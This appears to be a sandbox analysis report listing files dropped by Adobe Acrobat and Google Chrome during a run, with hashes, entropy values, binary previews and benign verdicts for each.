                                                                                Preview:03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ******** Starting new session ********..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

                                                                                C:\Users\user\AppData\Local\Temp\acrocef_low\74d0214c-c66f-4f5d-94fb-3d8a5d076e76.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
                                                                                Category:dropped
                                                                                Size (bytes):386528
                                                                                Entropy (8bit):7.9736851559892425
                                                                                Encrypted:false
                                                                                SSDEEP:6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
                                                                                MD5:5C48B0AD2FEF800949466AE872E1F1E2
                                                                                SHA1:337D617AE142815EDDACB48484628C1F16692A2F
                                                                                SHA-256:F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
                                                                                SHA-512:44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
                                                                                Malicious:false
                                                                                Preview:...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-|..h#.g.\.PO.|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..|m.WC.....|.....e.[W.p.8...rm....^..x'......5!...|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

                                                                                C:\Users\user\AppData\Local\Temp\acrocef_low\854e3f8a-44a1-49fe-9d48-186412f70e2d.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
                                                                                Category:dropped
                                                                                Size (bytes):1407294
                                                                                Entropy (8bit):7.97605879016224
                                                                                Encrypted:false
                                                                                SSDEEP:24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
                                                                                MD5:A0CFC77914D9BFBDD8BC1B1154A7B364
                                                                                SHA1:54962BFDF3797C95DC2A4C8B29E873743811AD30
                                                                                SHA-256:81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
                                                                                SHA-512:74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
                                                                                Malicious:false
                                                                                Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                                                                C:\Users\user\AppData\Local\Temp\acrocef_low\c12c47f2-02d8-43d6-91fa-9f2f9813fb2b.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
                                                                                Category:dropped
                                                                                Size (bytes):758601
                                                                                Entropy (8bit):7.98639316555857
                                                                                Encrypted:false
                                                                                SSDEEP:12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
                                                                                MD5:3A49135134665364308390AC398006F1
                                                                                SHA1:28EF4CE5690BF8A9E048AF7D30688120DAC6F126
                                                                                SHA-256:D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
                                                                                SHA-512:BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
                                                                                Malicious:false
                                                                                Preview:...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!|G.1...... .3.`./....`~......G.............|..pS.e.C....:o.u_..oi.:..|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

                                                                                C:\Users\user\AppData\Local\Temp\acrocef_low\d2dc0018-5534-4370-a3ca-ceb3d90e65e7.tmp

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                                                                File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
                                                                                Category:dropped
                                                                                Size (bytes):1419751
                                                                                Entropy (8bit):7.976496077007677
                                                                                Encrypted:false
                                                                                SSDEEP:24576:/xA7owWLaGZDwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVwWLaGZDwZGV3mlind9i4ufFXpAXkrj
                                                                                MD5:96E2EE6506759519A5E3E5E550F28388
                                                                                SHA1:477522A699526F3EC2270AD0B3D3B8D6609F8BBB
                                                                                SHA-256:D135FEF8231B87D1F758B3D31FC5467BC933321F7E8EACB316F933DBA36474D5
                                                                                SHA-512:C84E93CB72ABC0742C44BF13608472EDD30BE64358C0DA350D9D54C0A88EC45931D48CE1DA823FC527E5134E7277B16AFE0521F2716C067A519FDD390DB315CC
                                                                                Malicious:false
                                                                                Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

                                                                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):98682
                                                                                Entropy (8bit):6.445287254681573
                                                                                Encrypted:false
                                                                                SSDEEP:1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
                                                                                MD5:7113425405A05E110DC458BBF93F608A
                                                                                SHA1:88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
                                                                                SHA-256:7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
                                                                                SHA-512:6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
                                                                                Malicious:false
                                                                                Preview:0...u0...\...0...*.H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...*B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

                                                                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

                                                                                Download File
                                                                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):737
                                                                                Entropy (8bit):7.501268097735403
                                                                                Encrypted:false
                                                                                SSDEEP:12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
                                                                                MD5:5274D23C3AB7C3D5A4F3F86D4249A545
                                                                                SHA1:8A3778F5083169B281B610F2036E79AEA3020192
                                                                                SHA-256:8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
                                                                                SHA-512:FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
                                                                                Malicious:false
                                                                                Preview:0...0.....0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0...*.H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R*.......~....)....i.*n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\Google.Widevine.CDM.dll

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                Category:dropped
                                                                                Size (bytes):2877728
                                                                                Entropy (8bit):6.868480682648069
                                                                                Encrypted:false
                                                                                SSDEEP:49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
                                                                                MD5:477C17B6448695110B4D227664AA3C48
                                                                                SHA1:949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
                                                                                SHA-256:CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
                                                                                SHA-512:1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
                                                                                Malicious:false
                                                                                Antivirus:
                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                Joe Sandbox View:
                                                                                • Filename: , Detection: malicious, Browse
                                                                                • Filename: EPAYMENT_Receipt.html, Detection: malicious, Browse
                                                                                • Filename: Audio_Msg..00293614554893Transcript.html, Detection: malicious, Browse
                                                                                • Filename: , Detection: malicious, Browse
                                                                                • Filename: file.exe, Detection: malicious, Browse
                                                                                • Filename: Farahexperiences.com_Report_52288.pdf, Detection: malicious, Browse
                                                                                • Filename: file.exe, Detection: malicious, Browse
                                                                                • Filename: file.exe, Detection: malicious, Browse
                                                                                • Filename: Capelleaandenijssel.nl_reff_9918205228_HelNc2Zf7n.html, Detection: malicious, Browse
                                                                                • Filename: file.exe, Detection: malicious, Browse
                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V*......V*......`,......`+..p....+. )...p,......D*.8....................C*.(.....(.8...........p\*..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l....*..&....*.............@....pdata...p...`+..r....*.............@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1778
                                                                                Entropy (8bit):6.02086725086136
                                                                                Encrypted:false
                                                                                SSDEEP:48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
                                                                                MD5:3E839BA4DA1FFCE29A543C5756A19BDF
                                                                                SHA1:D8D84AC06C3BA27CCEF221C6F188042B741D2B91
                                                                                SHA-256:43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
                                                                                SHA-512:19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
                                                                                Malicious:false
                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.974403644129192
                                                                                Encrypted:false
                                                                                SSDEEP:3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
                                                                                MD5:D30A5BBC00F7334EEDE0795D147B2E80
                                                                                SHA1:78F3A6995856854CAD0C524884F74E182F9C3C57
                                                                                SHA-256:A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
                                                                                SHA-512:DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
                                                                                Malicious:false
                                                                                Preview:1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1294590347\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):145
                                                                                Entropy (8bit):4.595307058143632
                                                                                Encrypted:false
                                                                                SSDEEP:3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
                                                                                MD5:BBC03E9C7C5944E62EFC9C660B7BD2B6
                                                                                SHA1:83F161E3F49B64553709994B048D9F597CDE3DC6
                                                                                SHA-256:6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
                                                                                SHA-512:FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1633150228\LICENSE

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text
                                                                                Category:dropped
                                                                                Size (bytes):1558
                                                                                Entropy (8bit):5.11458514637545
                                                                                Encrypted:false
                                                                                SSDEEP:48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
                                                                                MD5:EE002CB9E51BB8DFA89640A406A1090A
                                                                                SHA1:49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
                                                                                SHA-256:3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
                                                                                SHA-512:D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
                                                                                Malicious:false
                                                                                Preview:// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1633150228\_metadata\verified_contents.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):1864
                                                                                Entropy (8bit):6.021127689065198
                                                                                Encrypted:false
                                                                                SSDEEP:48:p/hUI1atAdI567akUmYWEFw/3+ovGJ4F3jkZUbvzk98g5m7:RnYQI47avYUwvVGJ41jkZIzxgA7
                                                                                MD5:68E6B5733E04AB7BF19699A84D8ABBC2
                                                                                SHA1:1C11F06CA1AD3ED8116D356AB9164FD1D52B5CF0
                                                                                SHA-256:F095F969D6711F53F97747371C83D5D634EAEF21C54CB1A6A1CC5B816D633709
                                                                                SHA-512:9DC5D824A55C969820D5D1FBB0CA7773361F044AE0C255E7C48D994E16CE169FCEAC3DE180A3A544EBEF32337EA535683115584D592370E5FE7D85C68B86C891
                                                                                Malicious:false
                                                                                Preview:[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIyNXB3SWdtQWU2QTVoeDVVTG9OV0laODBLbzJjbktOTHpacUdjbjlLT2c4In0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiOWVza0FuRlBsM3VCQzkwUmFWakxNaVI3NXZIQi0wQUVmMmg0RzU3ZXNpcyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC44LjEwLjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"dU2MmRUQSugaJAJvEN4uaQHx-KXdOkjj0yK8_aH4Afr3kN7DPOZRt6yLTS3UchBE5M-dgPPPBuKADj4KEK4B22SO6WQquL5J27AUPqQBGgr44-iFGVJdOLLlfirFlJmcYv6DUFRYiPsQFGMr1JFqInj19jgkOxzR6qqcNuTCB0wGEMeTU80r-igCjeQG6TIzPro7yKd_-UxsxO6OGAySmlIJIoU54X0p0ATNoZyAfkhb8kb0oN8unOU

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1633150228\manifest.fingerprint

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:ASCII text, with no line terminators
                                                                                Category:dropped
                                                                                Size (bytes):66
                                                                                Entropy (8bit):3.9159446964030753
                                                                                Encrypted:false
                                                                                SSDEEP:3:Sq5TQRaELVHecsUDBAeHD5k:Sq5gJ+csHej5k
                                                                                MD5:CFB54589424206D0AE6437B5673F498D
                                                                                SHA1:D1EF6314F0F68EFDD0BA8F6CA9E59BFF863B1609
                                                                                SHA-256:285AC183C35350B4B77332172413902F83726CA8F53D63859B5DA082FD425A1C
                                                                                SHA-512:70FDCA4A1E6B7A5FFED3414E2DB74FECA7E0FD17482B8CB30393DFEE20AB9AD2B0B00FF0C590DD0E8D744D0EAD876CE8844519AF66618ED14666BCA56DF2DA21
                                                                                Malicious:false
                                                                                Preview:1.dbf288588465463a914bdfc5e86d465fb3592b2f1261dc0e40fcc5c1adc8e7e4

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1633150228\manifest.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):85
                                                                                Entropy (8bit):4.4533115571544695
                                                                                Encrypted:false
                                                                                SSDEEP:3:rR6TAulhFphifFCmMARWHJqS1tean:F6VlM8aRWpqS1ln
                                                                                MD5:C3419069A1C30140B77045ABA38F12CF
                                                                                SHA1:11920F0C1E55CADC7D2893D1EEBB268B3459762A
                                                                                SHA-256:DB9A702209807BA039871E542E8356219F342A8D9C9CA34BCD9A86727F4A3A0F
                                                                                SHA-512:C5E95A4E9F5919CB14F4127539C4353A55C5F68062BF6F95E1843B6690CEBED3C93170BADB2412B7FB9F109A620385B0AE74783227D6813F26FF8C29074758A1
                                                                                Malicious:false
                                                                                Preview:{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.8.10.0".}

                                                                                C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping4828_1633150228\sets.json

                                                                                Download File
                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                File Type:JSON data
                                                                                Category:dropped
                                                                                Size (bytes):9748
                                                                                Entropy (8bit):4.629326694042306
                                                                                Encrypted:false
                                                                                SSDEEP:96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJq:v5C4ql7BkIVmtRTGXvcxBsq
                                                                                MD5:EEA4913A6625BEB838B3E4E79999B627
                                                                                SHA1:1B4966850F1B117041407413B70BFA925FD83703
                                                                                SHA-256:20EF4DE871ECE3C5F14867C4AE8465999C7A2CC1633525E752320E61F78A373C
                                                                                SHA-512:31B1429A5FACD6787F6BB45216A4AB1C724C79438C18EBFA8C19CED83149C17783FD492A03197110A75AAF38486A9F58828CA30B58D41E0FE89DFE8BDFC8A004
                                                                                Malicious:false
